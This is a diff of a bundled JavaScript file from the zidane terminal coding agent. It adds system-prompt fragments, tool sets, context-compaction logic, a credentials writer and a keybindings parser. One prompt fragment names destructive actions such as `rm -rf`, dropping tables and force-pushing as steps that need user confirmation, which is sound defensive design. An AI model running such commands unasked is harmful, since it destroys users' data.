zidane 5.0.5 → 5.1.0

package/dist/{turn-operations-DZ3TrljX.js → turn-operations-BzOIM6Of.js}

@@ -1,10 +1,10 @@
-import { a as multiEdit, c as grep, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, r as shell, t as writeFile$1, u as edit } from "./tools-CLazLRb4.js";
+import { a as multiEdit, c as grep, i as readFile$1, l as glob, n as createSpawnTool, o as listFiles, r as shell, t as writeFile$1, u as edit } from "./tools-d1yeA6xK.js";
 import { n as toolResultToText } from "./types-Bx_F8jet.js";
-import { r as normalizeMcpServers } from "./mcp-Dw-fRPVk.js";
+import { r as normalizeMcpServers } from "./mcp-BgwK6ySj.js";
 import { a as discoverSkills } from "./interpolate-Ck970-61.js";
-import { n as formatTokenUsage } from "./stats-DZIsGqzu.js";
-import { n as definePreset } from "./presets-BRFH2qsQ.js";
-import { i as anthropic, n as openai, r as cerebras, t as openrouter } from "./providers-BCbdv99U.js";
+import { n as formatTokenUsage } from "./stats-DvCtBRwK.js";
+import { n as definePreset } from "./presets-CI8_fyvX.js";
+import { i as anthropic, n as openai, r as cerebras, t as openrouter } from "./providers-C6-vhaVu.js";
 import { spawn } from "node:child_process";
 import { readdir, stat, writeFile } from "node:fs/promises";
 import { dirname, join, resolve, sep } from "node:path";
@@ -14,6 +14,214 @@ import { anthropicOAuthProvider, openaiCodexOAuthProvider } from "@mariozechner/
 import { getModel, getModels } from "@mariozechner/pi-ai";
 import { createContext, useCallback, useContext, useEffect, useMemo, useRef, useState } from "react";
 import { jsx } from "react/jsx-runtime";
+import { jsx as jsx$1 } from "@opentui/react/jsx-runtime";
+//#region src/chat/agent-prompt.ts
+/**
+* Agent system-prompt fragments — composable doctrine for built-in profiles.
+*
+* Each `const` below is one self-contained section of a system prompt. They
+* exist as exports so SDK consumers can pick and choose: build a custom
+* profile by spreading them in {@link buildBuildSystem} order, drop a fragment
+* for a stricter / looser agent, or compose with project-specific prose.
+*
+* The fragments are deliberately byte-stable across sessions — every doctrine
+* piece reads the same on every turn so the system-prompt cache breakpoint
+* (anthropic ephemeral, `src/providers/anthropic.ts:327`) keeps hitting cache.
+* Runtime-derived content (cwd, date) lives in {@link envSection} and is
+* computed at agent-build time, not per-turn — same anchor, same cache.
+*
+* The TUI overrides `agent.run({ system })` with the composed string at
+* session activation so a moved cwd or rolled-over date refreshes the
+* prefix; SDK consumers calling `createAgent({ system })` directly get the
+* cwd-less variant from the preset and can wrap their own env section.
+*/
+/**
+* Lead line — short, version-stable, written in the same key as Claude Code's
+* identity prefix (`constants/system.ts:10` in claude-code). Models trained
+* on similar prefixes anchor faster; keep this immutable across releases.
+*/
+const IDENTITY_PREFIX = "You are zidane, a terminal-based coding agent that helps the user with software-engineering tasks.";
+/**
+* Render the env anchor block. Plain text — XML tags only because models
+* lean on them as structural cues, not because we parse them anywhere.
+*
+* Kept narrow on purpose: cwd / projectRoot / date / platform are the
+* knobs the model can't infer from the conversation. Anything else
+* (git branch, project name) belongs in CLAUDE.md / project-level
+* prompts where the user opts in.
+*
+* Cache-stability: outputs are byte-stable per `(cwd, projectRoot,
+* date, platform)` tuple. Repeated session activations against the
+* same workspace produce the same prefix → provider's prompt cache
+* hits across turns + across sessions in the same host process.
+*/
+function envSection(opts) {
+	const date = opts.date ?? (/* @__PURE__ */ new Date()).toISOString().slice(0, 10);
+	const platform = opts.platform ?? process.platform;
+	const lines = ["<env>", `Cwd: ${opts.cwd}`];
+	if (opts.projectRoot && opts.projectRoot !== opts.cwd) {
+		lines.push(`Project root: ${opts.projectRoot}`);
+		lines.push("Note: file paths referenced by the user via `@`-completion are relative to `Project root`, not `Cwd`. Resolve them from the project root (use absolute paths when invoking tools to avoid ambiguity).");
+	}
+	lines.push(`Date: ${date}`, `Platform: ${platform}`, "</env>");
+	return lines.join("\n");
+}
+/**
+* Software-engineering doctrine. Lifted in spirit from claude-code's
+* `# Doing tasks` (`constants/prompts.ts:199-253`). Key levers:
+*
+* - Stick to scope — prevents speculative refactors that double output tokens.
+* - No narration comments — prevents inflating diffs with `// Import the module` lines.
+* - Verify before claiming done — prevents false-positive reports that force a follow-up turn.
+*/
+const DOING_TASKS_DOCTRINE = `# Doing tasks
+- Stick to the scope you were asked for. Don't add features, refactor unrelated code, or "improve" things beyond the request. A bug fix doesn't need surrounding cleanup; a small feature doesn't need extra configurability.
+- Don't add comments, docstrings, or type annotations to code you didn't change. Only comment where the WHY is non-obvious (hidden constraint, subtle invariant, workaround). Never narrate WHAT the code does — well-named identifiers already do that.
+- Trust internal code and framework guarantees. Validate at system boundaries (user input, external APIs), not everywhere. Skip backwards-compat shims unless asked.
+- Don't create helpers, utilities, or abstractions for one-time operations. Three similar lines beat a premature abstraction. The right amount of complexity is what the task actually requires.
+- Before reporting a task complete, verify it actually works: run the test, execute the script, check the output. Report outcomes faithfully — if tests fail, say so with the relevant output. Never claim "all tests pass" when output shows failures.
+- If you spot a bug adjacent to what was asked, or notice the request is based on a misconception, say so. You are a collaborator, not just an executor.`;
+/**
+* zidane-specific token-economy doctrine. No claude-code analog — this is
+* the prose half of the `behavior.{compactStrategy, elideStaleReads,
+* toolDisclosure, toolOutputBudget}` defaults. The behavior flags do the
+* heavy lifting at the wire level; this prompt nudges the model away from
+* the access patterns that defeat them.
+*/
+const TOKEN_DISCIPLINE_DOCTRINE = `# Working efficiently
+- Read a file once. Re-reading the same file in the same session wastes context — the prior \`read_file\` result is still in your view (and stale reads after an edit are elided automatically).
+- Narrow before you read. \`grep\` / \`glob\` to locate, then \`read_file\` on the specific file. Don't open a 2000-line file when you only need one function.
+- Prefer \`edit\` / \`multi_edit\` over \`write_file\` for surgical changes — full overwrites are larger payloads and easier to get wrong.
+- Spawn a subagent (\`spawn\`) for self-contained research dives or codegen passes that don't need the parent's context. The child runs in its own context window — you only get its final report back.
+- Don't grep for things already shown to you, list directories you already saw, or re-execute commands whose output is still above. Tool budgets nudge against runaway exploration but the cheaper fix is to not start the loop.
+
+Tool results may be elided, persisted, or replaced as the conversation grows: stale \`read_file\` outputs become short stubs after the file is edited, older tool results may be tail-compacted, and large outputs are written to disk and replaced inline with a \`<persisted-output tool="…" bytes="…" path="…">\` block carrying a 2 KiB head preview plus the filesystem path. Copy load-bearing data into your own response text before you'd need to recover it later — and when you see a \`<persisted-output>\` block whose preview isn't enough, call \`read_file\` on the persisted path to retrieve the full payload.`;
+/**
+* User-facing communication style. Lifted from claude-code's
+* `# Communicating with the user` + `# Tone and style` sections (~404-442).
+* The "no colon before tool calls" rule matters because models often
+* generate "Let me check this file:" right before a tool call that the
+* user never sees rendered.
+*/
+const COMMUNICATION_DOCTRINE = `# Communicating with the user
+- You're writing for a person, not logging to a console. Tool calls and reasoning are not visible — only your text output is. Before your first tool call, briefly state what you're about to do.
+- Give short updates at load-bearing moments: root cause found, direction change, real progress. Skip play-by-play.
+- Write in flowing prose. Avoid excessive em dashes, fragments, symbols, or notation. Tables when they help, not by default.
+- Don't use a colon before tool calls. "Let me read the file:" + tool call reads as broken — write "Let me read the file." with a period.
+- Reference code as \`file:line\` so the user can navigate (e.g. \`src/agent.ts:1213\`).
+- No emojis unless the user explicitly asks.`;
+/**
+* Reversibility / blast-radius doctrine. Mirrors claude-code's `# Executing
+* actions with care` (255-267). The TUI's safe-mode already gates risky
+* tool calls behind explicit approval, but this prompt teaches the model
+* to anticipate the gate rather than be surprised by it — and to ask
+* before reaching for destructive shortcuts.
+*/
+const ACTIONS_WITH_CARE_DOCTRINE = `# Executing actions with care
+Reversibility scales the required caution. Local edits, tests, and reads are free to take. Destructive or shared-state actions need explicit user confirmation — \`rm -rf\`, dropping tables, force-pushing, modifying CI, sending messages, posting to external services. A user approving an action once does NOT mean they approve it in all contexts.
+
+When you hit an obstacle, do not use destructive actions as a shortcut to make it go away. Measure twice, cut once.`;
+/**
+* How to brief a subagent. Spawning a child agent is the highest-leverage
+* token move in zidane — a 5k-token research dive becomes a 200-token
+* summary in the parent's context. But shallow prompts produce shallow
+* work, so the doctrine is mostly about quality of the briefing.
+*
+* Lifted from claude-code's `## Writing the prompt` tool-prompt
+* (`tools/AgentTool/prompt.ts:99-113`).
+*/
+const SUBAGENT_GUIDANCE = `# When spawning subagents
+Brief the child agent like a smart colleague who just walked in — it has not seen this conversation and doesn't know what you've tried or why this matters.
+- Explain what you're trying to accomplish and why.
+- Describe what you've already learned or ruled out.
+- Give enough context that the child can make judgment calls, not just follow narrow steps.
+- For investigations, hand over the question. For lookups, hand over the exact command.
+- Never delegate understanding ("based on your findings, fix the bug"). Synthesize yourself — include file paths, line numbers, and the specific change you want.
+
+Terse command-style prompts produce shallow, generic work.`;
+/**
+* Plan-mode framing. Replaces the previous one-liner with explicit phases
+* (explore → propose → submit), drawing on claude-code's iterative-plan
+* mode (`utils/messages.ts:3323-3383`). Always paired with the read-only
+* tool set in {@link PLAN_AGENT}.
+*/
+const PLAN_MODE_DOCTRINE = `# Plan mode — read-only
+You are in PLAN mode. You can read files, list directories, and search the codebase — but you CANNOT modify files, run shell commands, or spawn subagents. Use this mode to investigate, understand, and design a proposal.
+
+## Loop
+1. **Explore** — Read code. Look for existing functions, utilities, and patterns to reuse.
+2. **Ask** — When you hit an ambiguity only the user can resolve (requirements, preferences, tradeoffs), call \`ask_user\` with the full batch of questions.
+3. **Propose** — When the plan is ready, submit it via \`present_plan\` with a concrete title, the markdown body, and optional structured steps. The user approves, rejects, or asks for revisions.
+
+## Good plans
+- Cover what to change, which files to modify, what existing code to reuse (with file paths), and how to verify the change end-to-end.
+- Reference real symbols and line numbers from your exploration.
+- Surface only your recommended approach, not every alternative.
+
+The user will switch to Build mode to execute an approved plan.`;
+/**
+* How to use `present_plan` / `ask_user`. Kept short — the tool descriptions
+* carry the schema details; this prompt covers the cross-cutting *when*.
+*
+* Previously lived inline in `src/chat/agents.ts` as `INTERACTION_GUIDANCE`.
+* Moved here so a custom profile can pull it in independently.
+*/
+const INTERACTION_GUIDANCE = `# Interacting with the user
+- Call \`present_plan\` when you have a concrete proposal that materially changes the workspace and want explicit confirmation before executing.
+- Call \`ask_user\` when clarifying answers materially change the next steps. Batch related questions into one call — every call pauses the conversation.
+- Use both sparingly. Don't ask what you could find out by reading the code.`;
+function buildEnvSectionFromOpts(opts) {
+	if (!opts.cwd) return null;
+	return envSection({
+		cwd: opts.cwd,
+		...opts.projectRoot !== void 0 ? { projectRoot: opts.projectRoot } : {},
+		...opts.date !== void 0 ? { date: opts.date } : {},
+		...opts.platform !== void 0 ? { platform: opts.platform } : {}
+	});
+}
+/**
+* Compose the Build-mode system prompt.
+*
+* Order matters for cache stability: identity → env → doctrine → guidance.
+* Env comes before doctrine so a cwd change rebuilds only the head of the
+* prompt; the doctrine tail stays byte-identical across sessions and rides
+* the cache.
+*
+* The fragments are joined with blank lines so the model sees clean section
+* breaks. Don't reorder lightly — every reorder costs one cache miss across
+* every active session.
+*/
+function buildBuildSystem(opts = {}) {
+	return joinPrompt([
+		IDENTITY_PREFIX,
+		buildEnvSectionFromOpts(opts),
+		DOING_TASKS_DOCTRINE,
+		ACTIONS_WITH_CARE_DOCTRINE,
+		TOKEN_DISCIPLINE_DOCTRINE,
+		SUBAGENT_GUIDANCE,
+		COMMUNICATION_DOCTRINE,
+		INTERACTION_GUIDANCE
+	]);
+}
+/**
+* Compose the Plan-mode system prompt. Subset of Build: drops the
+* subagent + actions-with-care fragments (no shell, no spawn in plan
+* mode) and uses `PLAN_MODE_DOCTRINE` instead of `DOING_TASKS_DOCTRINE`.
+*/
+function buildPlanSystem(opts = {}) {
+	return joinPrompt([
+		IDENTITY_PREFIX,
+		buildEnvSectionFromOpts(opts),
+		PLAN_MODE_DOCTRINE,
+		TOKEN_DISCIPLINE_DOCTRINE,
+		COMMUNICATION_DOCTRINE,
+		INTERACTION_GUIDANCE
+	]);
+}
+function joinPrompt(parts) {
+	return parts.filter((p) => typeof p === "string" && p.length > 0).join("\n\n");
+}
+//#endregion
 //#region src/chat/agents.ts
 /** Read-only tool slice shared by the Plan profile and any host-built read-only variant. */
 const READ_ONLY_TOOLS = {
@@ -22,10 +230,94 @@ const READ_ONLY_TOOLS = {
 	glob,
 	grep
 };
+/** Full build-mode tool slice — read + write + shell + spawn. */
+const BUILD_TOOLS = {
+	shell,
+	readFile: readFile$1,
+	writeFile: writeFile$1,
+	listFiles,
+	edit,
+	multiEdit,
+	glob,
+	grep
+};
+/**
+* Tools the chat layer never persists to disk, regardless of output size.
+*
+* Rationale per entry:
+* - `read_file` — our reader is already paginated (`offset` + `limit`).
+*   Persisting the slice the model asked for and pointing it at the
+*   persisted path is circular; if the model wants more, it pages.
+* - `tool_search` — short metadata envelope. Never large.
+* - `skills_use` / `skills_read` — the `<skill_content>` body is
+*   intentionally part of the prompt; persisting it defeats the purpose.
+* - `present_plan` / `ask_user` — short JSON envelopes (decision +
+*   answers). Never large.
+* - `spawn` — the subagent's final report IS the value of the call;
+*   stubbing it out would defeat the orchestration pattern.
+*
+* Exported so SDK consumers building custom profiles can extend the list
+* (e.g. host-defined `screenshot` tool whose base64 payload should stay
+* inline). Set `behavior.persistExcludeTools` to your own list to fully
+* override.
+*/
+const DEFAULT_PERSIST_EXCLUDE_TOOLS = [
+	"read_file",
+	"tool_search",
+	"skills_use",
+	"skills_read",
+	"present_plan",
+	"ask_user",
+	"spawn"
+];
+/**
+* Token-saving `AgentBehavior` defaults shared by the built-in profiles.
+*
+* These flip on at the chat layer, not at the SDK core (`src/agent.ts`) —
+* external `createAgent()` consumers keep the conservative defaults.
+* Rationale per knob:
+*
+* - `compactStrategy: 'tail'` — when the persisted history's tool-output
+*   bytes exceed `compactThreshold`, stub older `tool_result` blocks at
+*   the wire level (session storage is untouched). Without this, a single
+*   long-lived chat keeps re-sending every read/grep result every turn.
+* - `elideStaleReads: true` — after a successful `edit` / `write_file`,
+*   replace earlier `read_file` results on the same path with a short
+*   stub. Eliminates the pre-edit file body riding along forever.
+* - `toolDisclosure: 'lazy'` — MCP tools advertise as name+description in
+*   the system prompt and load their `inputSchema` on demand via
+*   `tool_search`. No-op without MCPs (gated on `lazyEntries.length > 0`
+*   in `src/agent.ts:1287`); substantial savings with a 50-tool server.
+* - `toolOutputBudget: 64 KiB` — soft per-turn cap that injects a
+*   summarize-before-continuing nudge when tool output explodes.
+* - `persistThreshold: 8 KiB` + `persistExcludeTools` — tool results
+*   above the threshold are written to disk and replaced inline with a
+*   `<persisted-output>` stub (preview + path). `persistDir` is wired by
+*   the TUI at session activation; without a dir, persistence is off.
+*   The user can disable persistence entirely via
+*   `Settings.persistToolResults` (sets the threshold to 0 at agent build
+*   time).
+*/
+const SHARED_BEHAVIOR = {
+	compactStrategy: "tail",
+	compactThreshold: 128 * 1024,
+	compactKeepTurns: 4,
+	elideStaleReads: true,
+	toolDisclosure: "lazy",
+	toolOutputBudget: 64 * 1024,
+	persistThreshold: 8 * 1024,
+	persistExcludeTools: DEFAULT_PERSIST_EXCLUDE_TOOLS
+};
 /**
 * Build agent — the default profile. Full read/write/shell access plus
 * subagent spawning. Mirrors the legacy `basic` preset so existing TUI
 * behavior is preserved when `agents` is omitted.
+*
+* The system prompt is the cwd-less variant of {@link buildBuildSystem};
+* the TUI overrides it per-session with an env-anchored composition so
+* the prompt carries the current project root + date. SDK consumers
+* calling `createAgent({ ...BUILD_AGENT.preset })` directly get the
+* cwd-less prompt and can wrap their own env section.
 */
 const BUILD_AGENT = {
 	id: "build",
@@ -34,16 +326,10 @@ const BUILD_AGENT = {
 	accent: "accent",
 	preset: definePreset({
 		name: "build",
-		system: "You are a helpful coding assistant with full access to the workspace: shell, file reading, file writing, surgical and multi-edit tools, directory listing, codebase search, and sub-agent spawning. Prefer `edit` / `multi_edit` for in-place changes and `write_file` for full file overwrites. Spawn subagents for parallelizable work.",
+		system: buildBuildSystem(),
+		behavior: { ...SHARED_BEHAVIOR },
 		tools: {
-			shell,
-			readFile: readFile$1,
-			writeFile: writeFile$1,
-			listFiles,
-			edit,
-			multiEdit,
-			glob,
-			grep,
+			...BUILD_TOOLS,
 			spawn: createSpawnTool({ persist: true })
 		}
 	})
@@ -61,7 +347,8 @@ const PLAN_AGENT = {
 	accent: "model",
 	preset: definePreset({
 		name: "plan",
-		system: "You are in PLAN mode. You can read files, list directories, and search the codebase — but you CANNOT modify files, run shell commands, or spawn subagents. Use this mode to investigate, understand the problem, and propose a clear plan in detail. The user will switch to Build mode to execute it.",
+		system: buildPlanSystem(),
+		behavior: { ...SHARED_BEHAVIOR },
 		tools: READ_ONLY_TOOLS
 	})
 };
@@ -201,6 +488,32 @@ function getContextWindow(descriptor, modelId) {
 	return getModelInfo(descriptor, modelId)?.contextWindow ?? null;
 }
 /**
+* Reserved output budget subtracted from the raw context window when
+* computing the effective ceiling for compaction / warning thresholds.
+*
+* Aligned with Claude Code's `COMPACT_MAX_OUTPUT_TOKENS = 20_000`
+* (`utils/context.ts:12`) — covers p99.99 of summary + response output.
+* A turn that consumed N input tokens leaves `effectiveWindow - N`
+* headroom for the next prompt's response; once headroom shrinks
+* below the threshold, auto-compaction fires.
+*/
+const OUTPUT_RESERVE_TOKENS = 2e4;
+/**
+* Effective context window — what the next user turn can actually pack
+* before the provider reserves space for the assistant's reply. Equals
+* `rawWindow - OUTPUT_RESERVE_TOKENS`, clamped to `>= 1` so a tiny
+* (or absurd) window doesn't yield zero / negative thresholds.
+*
+* Used by both the footer's context indicator and the auto-compact
+* trigger so the two surfaces agree on "how full are we, really".
+* Pass `null` through unchanged so callers can pipe `getContextWindow`
+* directly without an intermediate check.
+*/
+function effectiveContextWindow(rawWindow) {
+	if (rawWindow === null) return null;
+	return Math.max(1, rawWindow - OUTPUT_RESERVE_TOKENS);
+}
+/**
 * Whether the given model exposes a reasoning / extended-thinking knob.
 * Drives the TUI's effort picker visibility — the `ctrl+n` shortcut and
 * the bottom-bar `effortName` segment only surface when this is `true`.
@@ -213,7 +526,7 @@ function modelSupportsReasoning(descriptor, modelId) {
 //#endregion
 //#region src/chat/credentials.ts
 /** POSIX mode for the credentials file. Ignored on Windows. */
-const FILE_MODE = 384;
+const FILE_MODE$1 = 384;
 /**
 * Resolve the credentials file path given the resolved TUI data directory
 * (typically `~/.zidane`, i.e. `config.paths.dir`).
@@ -263,7 +576,7 @@ function writeCredentials(dataDir, creds) {
 	const path = credentialsPath(dataDir);
 	mkdirSync(dirname(path), { recursive: true });
 	const tmp = `${path}.${process.pid}.${Date.now()}.tmp`;
-	writeFileSync(tmp, `${JSON.stringify(creds, null, 2)}\n`, { mode: FILE_MODE });
+	writeFileSync(tmp, `${JSON.stringify(creds, null, 2)}\n`, { mode: FILE_MODE$1 });
 	renameSync(tmp, path);
 }
 function setProviderCredential(dataDir, descriptor, cred) {
@@ -344,7 +657,7 @@ function migrateLegacyFile(targetPath) {
 	if (Object.keys(migrated).length === 0) return null;
 	mkdirSync(dirname(targetPath), { recursive: true });
 	const tmp = `${targetPath}.${process.pid}.${Date.now()}.tmp`;
-	writeFileSync(tmp, `${JSON.stringify(migrated, null, 2)}\n`, { mode: FILE_MODE });
+	writeFileSync(tmp, `${JSON.stringify(migrated, null, 2)}\n`, { mode: FILE_MODE$1 });
 	renameSync(tmp, targetPath);
 	return migrated;
 }
@@ -395,6 +708,111 @@ function detectAuth(dataDir, registry, env = process.env) {
 	});
 }
 //#endregion
+//#region src/chat/auto-compact.ts
+/**
+* Auto-compaction trigger policy — decide whether the latest turn's usage
+* has crossed the threshold that should fire `compactConversation` against
+* the active session.
+*
+* Pure function, no I/O. Sits next to the chat-layer settings + providers
+* so the same decision is reusable from a non-TUI host (a future GUI shell
+* that wants to surface "Compact now" suggestions, a CI runner that wants
+* to auto-compact between batches, …).
+*
+* Wire contract:
+*
+*  - Inputs are the bits the TUI already tracks: latest `usage.input` (from
+*    `turn:after`), the model's raw context window (`getContextWindow`),
+*    and the user's settings (`autoCompact` + `autoCompactThreshold`).
+*  - Output is a discriminated outcome — `'fire'` when the trigger should
+*    run, `'skip'` with a reason otherwise. The reason is diagnostic only;
+*    callers don't branch on it but tests + debug logs need it.
+*
+* No state. Same inputs → same answer.
+*/
+/**
+* Decide whether auto-compaction should fire for the latest turn.
+*
+* Order of checks is deliberate: cheapest / most common skips first
+* (`disabled` is one boolean read; `unknown-window` is the predictable
+* miss for custom models), invariant violations next, then the actual
+* threshold math. `already-compacting` runs last so the diagnostic
+* surfaces correctly when the predicate is called inside an existing
+* compaction window.
+*/
+function shouldAutoCompact(input) {
+	if (!input.enabled) return {
+		kind: "skip",
+		reason: "disabled"
+	};
+	if (input.rawContextWindow === null) return {
+		kind: "skip",
+		reason: "unknown-window"
+	};
+	if (!Number.isFinite(input.threshold) || input.threshold <= 0 || input.threshold >= 1) return {
+		kind: "skip",
+		reason: "invalid-threshold"
+	};
+	if (!Number.isFinite(input.inputTokens) || input.inputTokens < 0) return {
+		kind: "skip",
+		reason: "invalid-input-tokens"
+	};
+	const effectiveWindow = effectiveContextWindow(input.rawContextWindow);
+	const usedFraction = input.inputTokens / effectiveWindow;
+	if (usedFraction < input.threshold) return {
+		kind: "skip",
+		reason: "under-threshold"
+	};
+	if (input.alreadyCompacting) return {
+		kind: "skip",
+		reason: "already-compacting"
+	};
+	return {
+		kind: "fire",
+		usedFraction,
+		effectiveWindow
+	};
+}
+//#endregion
+//#region src/chat/browser.ts
+/**
+* Best-effort cross-platform browser open.
+*
+* macOS uses `open`, Linux uses `xdg-open`, Windows uses `start`. Failures
+* are swallowed — both callers (AI-provider OAuth + MCP-server OAuth) show
+* the URL on-screen for manual click anyway, and the underlying flows have
+* their own progress/cancel paths.
+*
+* Uses `spawn` (not `exec`) so the URL is passed as an argv element rather
+* than interpolated into a shell command — URLs containing `&`, `?`, `"`,
+* or other shell metacharacters don't need quoting.
+*
+* Detached + unref so the spawned helper outlives the parent: the user
+* can finish authorizing in the browser even if the TUI is later
+* suspended (Ctrl-Z) or killed.
+*/
+function tryOpenBrowser(url) {
+	const [cmd, ...args] = (() => {
+		if (process.platform === "darwin") return ["open", url];
+		if (process.platform === "win32") return [
+			"cmd",
+			"/c",
+			"start",
+			"",
+			url
+		];
+		return ["xdg-open", url];
+	})();
+	try {
+		const child = spawn(cmd, args, {
+			stdio: "ignore",
+			detached: true
+		});
+		child.on("error", () => {});
+		child.unref();
+	} catch {}
+}
+//#endregion
 //#region src/chat/completion.ts
 /**
 * Prompt autocompletion framework.
@@ -824,6 +1242,390 @@ function uniqueSkillNamesFromReferences(references) {
 	return out;
 }
 //#endregion
+//#region src/chat/keybindings.ts
+/**
+* Keybindings — a single source of truth for the app's global shortcuts.
+*
+* Every customizable action is declared once in {@link KEYBINDING_DEFS}
+* with its default trigger, label, and description. The TUI imports
+* `DEFAULT_KEYBINDINGS` for the baked-in defaults; on launch we load
+* `<userDir>/keybindings.json` (when present) and merge user overrides
+* on top so the user can rebind any action without recompiling.
+*
+* Scope (deliberate):
+*
+*   - We expose only the **global, action-opening** shortcuts here —
+*     "open the Settings modal", "cycle agent profile", "enter
+*     select-turn mode", etc. Modal-internal letter shortcuts (`f`
+*     fork, `d` delete, `c` copy on the turn-details modal) and
+*     universal navigation (`↑/↓/↵/⎋`) stay hardcoded — they live
+*     too close to a renderable's input contract to remap safely.
+*
+*   - Storage lives at the **user level** (`<userDir>/keybindings.json`),
+*     never inside a project's `.{prefix}/`. Shortcut muscle memory is
+*     a per-user concern, not a per-repo one.
+*
+* Format on disk: JSON with `//` and `/* … *\/` comments allowed
+* (parsed via a small JSONC stripper). Each entry maps an action id
+* to a binding spec string. Specs are parsed by {@link parseBindingSpec};
+* unknown / malformed entries fall back to the default for that action
+* (with a debug log under `ZIDANE_DEBUG`) so a syntax slip never bricks
+* the TUI.
+*/
+/**
+* The canonical action catalog. Order is the source of truth for the
+* generated keybindings file and the settings UI.
+*/
+const KEYBINDING_DEFS = [
+	{
+		action: "openSettings",
+		default: "ctrl+o",
+		label: "settings",
+		description: "open the Settings modal (toggles, theme, keybindings)"
+	},
+	{
+		action: "openSessionDetails",
+		default: "ctrl+x",
+		label: "session",
+		description: "open the session details modal (stats, export, delete, rename)"
+	},
+	{
+		action: "openModelPicker",
+		default: "ctrl+m",
+		label: "model",
+		description: "open the cross-provider model picker"
+	},
+	{
+		action: "openEffortPicker",
+		default: "ctrl+l",
+		label: "effort",
+		description: "open the reasoning-effort picker (when the active model supports it)"
+	},
+	{
+		action: "cycleAgent",
+		default: "shift+tab",
+		label: "cycle agent",
+		description: "cycle to the next agent profile (when multiple profiles are registered)"
+	},
+	{
+		action: "enterSelectTurnMode",
+		default: "ctrl+s",
+		label: "messages",
+		description: "enter select-turn mode to navigate previous messages"
+	},
+	{
+		action: "enterQueueSelection",
+		default: "",
+		label: "select queue",
+		description: "move focus from the prompt textarea into the type-ahead queue box (also: ↑ on an empty prompt)"
+	},
+	{
+		action: "pushQueuedMessage",
+		default: "ctrl+return",
+		label: "push",
+		description: "steer the selected queued message into the live run (delivered between tool calls)"
+	},
+	{
+		action: "dropQueuedMessage",
+		default: "backspace",
+		label: "drop",
+		description: "remove the selected queued message — exits back to the prompt when the queue empties (the big \"remove\" key works everywhere: backspace on Win/Linux, the laptop key labeled \"delete\" on Mac, which sends backspace)"
+	},
+	{
+		action: "turnFork",
+		default: "f",
+		label: "fork",
+		description: "fork the session at the selected turn (two-press confirm)"
+	},
+	{
+		action: "turnDelete",
+		default: "d",
+		label: "delete",
+		description: "delete the selected turn (two-press confirm)"
+	},
+	{
+		action: "turnCopy",
+		default: "c",
+		label: "copy",
+		description: "copy the selected turn content to the clipboard (OSC 52)"
+	},
+	{
+		action: "sessionDelete",
+		default: "d",
+		label: "delete",
+		description: "delete the entire session (two-press confirm)"
+	},
+	{
+		action: "sessionCopyId",
+		default: "c",
+		label: "copy id",
+		description: "copy the full session id to the clipboard (OSC 52)"
+	},
+	{
+		action: "sessionGenerateTitle",
+		default: "g",
+		label: "generate title",
+		description: "generate a title for the session via the active provider/model"
+	},
+	{
+		action: "sessionExportMarkdown",
+		default: "e",
+		label: "export md",
+		description: "export the session as Markdown under .{prefix}/sessions/"
+	},
+	{
+		action: "sessionExportJson",
+		default: "j",
+		label: "export json",
+		description: "export the session as JSON under .{prefix}/sessions/"
+	},
+	{
+		action: "sessionCompact",
+		default: "k",
+		label: "compact",
+		description: "compact older turns via an LLM summary (model still sees everything from the boundary down)"
+	}
+];
+/** Index by action for O(1) lookup of label / description / default. */
+const KEYBINDING_DEF_BY_ACTION = KEYBINDING_DEFS.reduce((acc, def) => Object.assign(acc, { [def.action]: def }), {});
+/** Defaults, derived from {@link KEYBINDING_DEFS} so the two never drift. */
+const DEFAULT_KEYBINDINGS = KEYBINDING_DEFS.reduce((acc, def) => Object.assign(acc, { [def.action]: def.default }), {});
+/**
+* Aliases the parser accepts on input so the on-disk format can be
+* forgiving (different terminals + docs label modifiers + keys
+* differently). Output names are canonicalized to one form per key so
+* `matchesBinding` only has to compare one canonical against a
+* KeyEvent's `name`. Unknown names pass through verbatim — that's
+* useful for terminal-specific keys we don't have to enumerate.
+*/
+const NAME_ALIASES = {
+	esc: "escape",
+	enter: "return",
+	ret: "return",
+	space: "space",
+	spc: "space",
+	del: "delete",
+	ins: "insert",
+	pgup: "pageup",
+	pgdn: "pagedown",
+	pagup: "pageup",
+	pagedn: "pagedown"
+};
+const MODIFIER_ALIASES = {
+	ctrl: "ctrl",
+	control: "ctrl",
+	shift: "shift",
+	alt: "alt",
+	option: "alt",
+	opt: "alt",
+	meta: "meta",
+	cmd: "meta",
+	command: "meta",
+	super: "meta",
+	win: "meta"
+};
+/**
+* Parse a `'ctrl+shift+o'`-style spec into structured fields. Returns
+* `null` for empty / malformed inputs; the caller falls back to the
+* default for that action.
+*
+* Tolerant by design:
+*   - Case-insensitive (`Ctrl+O` → same as `ctrl+o`).
+*   - Modifier order doesn't matter (`shift+ctrl+o` works).
+*   - Mixed `+` and `-` separators allowed (`ctrl-o`, `ctrl+o`).
+*   - Trailing / leading whitespace is stripped.
+*   - Duplicate modifiers collapse silently.
+*/
+function parseBindingSpec(spec) {
+	if (typeof spec !== "string") return null;
+	const trimmed = spec.trim().toLowerCase();
+	if (!trimmed) return null;
+	const parts = trimmed.split(/[+\-]/).map((p) => p.trim()).filter(Boolean);
+	if (parts.length === 0) return null;
+	const result = {
+		ctrl: false,
+		shift: false,
+		alt: false,
+		meta: false,
+		name: ""
+	};
+	for (const part of parts) {
+		const modifier = MODIFIER_ALIASES[part];
+		if (modifier) {
+			result[modifier] = true;
+			continue;
+		}
+		if (result.name) return null;
+		result.name = NAME_ALIASES[part] ?? part;
+	}
+	if (!result.name) return null;
+	return result;
+}
+/**
+* Test a KeyEvent against a parsed-or-string binding. Accepts either
+* form so callers can pre-parse (hot path) or pass the raw spec for
+* one-off checks.
+*
+* Modifier semantics: ALL declared modifiers must be pressed AND no
+* extra modifiers may be pressed. So `'o'` does NOT match `ctrl+o`,
+* and `'ctrl+o'` does NOT match `ctrl+shift+o`. This avoids surprises
+* where a binding that should be specific accidentally fires for a
+* superset of key combinations.
+*/
+function matchesBinding(event, spec) {
+	const parsed = typeof spec === "string" ? parseBindingSpec(spec) : spec;
+	if (!parsed) return false;
+	const altPressed = !!event.option || !!event.alt;
+	if (parsed.ctrl !== !!event.ctrl) return false;
+	if (parsed.shift !== !!event.shift) return false;
+	if (parsed.alt !== altPressed) return false;
+	if (parsed.meta !== !!event.meta) return false;
+	if ((event.name ?? "").toLowerCase() !== parsed.name) return false;
+	return true;
+}
+/**
+* Merge a partial map of user overrides into the defaults. Unknown
+* action keys are dropped (a future TUI version may have retired the
+* action); invalid spec strings (parse fails) fall back to the default
+* for that action.
+*/
+function mergeKeybindings(overrides) {
